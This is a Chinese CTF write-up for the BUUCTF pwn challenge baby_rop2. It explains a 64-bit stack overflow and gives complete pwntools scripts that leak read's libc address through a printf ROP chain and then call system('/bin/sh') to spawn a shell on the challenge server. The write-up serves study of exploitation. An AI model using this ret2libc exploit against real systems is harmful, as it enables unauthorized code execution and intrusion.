[PWN] BUUCTF [HarekazeCTF2019]baby_rop2

[PWN] BUUCTF [HarekazeCTF2019]baby_rop2

解题分析

按照惯例先checksec,发现开了nx和RELRO,又因为题目给了文件libc.so.6,所以猜测要需要构造ROP来布置程序执行路线图
在这里插入图片描述

运行程序来观察程序的逻辑,发现需要输入name,然后程序再把输入的name打印出来
在这里插入图片描述

64位IDA打开,发现buf缓冲区只有0x20个字节大小,但read却可以往buf缓冲区中写入0x100个字节,所以这里存在着栈溢出

在这里插入图片描述

shift+f12查看字符,发现并没有现成的backdoor函数可以利用,所以需要自己来构造
在这里插入图片描述

漏洞利用

存在着栈溢出,又因为知道了Libc同时没有现成的backdoor函数,所以需要利用read来泄露libc的基址来找到 system和/bin/sh的地址来构造 system(‘/bin/sh’),最后把返回地址覆盖成 system(‘/bin/sh’)的地址来getshell

payload解析

1.因为是64位的程序,所以需要通过寄存器给参数赋值

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 (主要利用rsi,但没有直接利用rsi的,所以用了这一条,r15并不影响程序的路线图,所以随便赋值都行)

ROPgadget --binary babyrop2 --only ‘pop|ret’|grep pop
在这里插入图片描述

2.利用printf来打印泄露的read的地址,需要给printf设置格式化字符,所以在题目中找到现成的%s的地址

fm_str = 0x400770  

在这里插入图片描述

printf函数原型,format输出内容的格式(fm_str),[argument]输入的内容

int printf( const char* format , [argument] … );

3.一开始并不知道怎么样接收read地址,所以通过脚本来多次执行测试出泄露出来的read的地址每次都是7f开头,同时以50结尾,两者之间一共有6个字节

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))  #7f-1,7f开始,接收前6个字节,并且用00补齐8字节

图中的hex的意义
1.代表着P前的空格
2.代表着P
3.50和7f之间的内容
4.代表着感叹号!
这些和下面Welcom to… again, 一一对应,即空格 到感叹号!之间的数据是泄露出来的read地址
在这里插入图片描述

(小端)泄露出来的read:0x7fa6a2756250

在这里插入图片描述泄露出来的read:0x7f7308d76250
在这里插入图片描述测试脚本

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn',25601)
#p = process('./babyrop2')
elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 
fm_str = 0x400770  


printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']

payload1 = 'a'*0x28
payload1 += p64(pop_rdi)
payload1 += p64(fm_str)
payload1 += p64(pop_rsi_r15)
payload1 += p64(read_got)
payload1 += p64(0)  
payload1 += p64(printf_plt)
payload1 +=p64(main)

p.recvuntil("name? ")
p.sendline(payload1)
pause()
p.interactive()

3.找出system(‘/bin/sh’)地址

libc =ELF("libc.so.6")
libc.address = read_addr - libc.symbols["read"]     #通过read的地址找libc基地址
bin_sh=libc.search("/bin/sh").next()                #通过libc基地址找libc中/bin/sh的地址
sys_addr=libc.symbols["system"]                     #通过libc基地址找libc中system函数的地址

payload

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn',25601)
#p = process('./babyrop2')
elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 
fm_str = 0x400770  


printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']

payload1 = 'a'*0x28                 #buf的大小+rbp
payload1 += p64(pop_rdi)            #64位,需要用pop来传参
payload1 += p64(fm_str)             #printf格式化字符
payload1 += p64(pop_rsi_r15)        #pop传参,把read在got中的地址(read真实地址)打印出来
payload1 += p64(read_got)           #rsi
payload1 += p64(0)                  #r15
payload1 += p64(printf_plt)         #pop_rsi_r15后的返回地址,打印read地址
payload1 +=p64(main)                #返回main函数,以便第二次传payload

p.recvuntil("name? ")
p.sendline(payload1)


read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success('read==>'+hex(read_addr))
# pause() 
libc =ELF("libc.so.6")
libc.address = read_addr - libc.symbols["read"]     #通过read的地址找libc基地址
bin_sh=libc.search("/bin/sh").next()                #通过libc基地址找libc中/bin/sh的地址
sys_addr=libc.symbols["system"]                     #通过libc基地址找libc中system函数的地址

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

flag不在根目录下
在这里插入图片描述

find -name ‘flag’(找出flag所在位置)

在这里插入图片描述
Get!

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值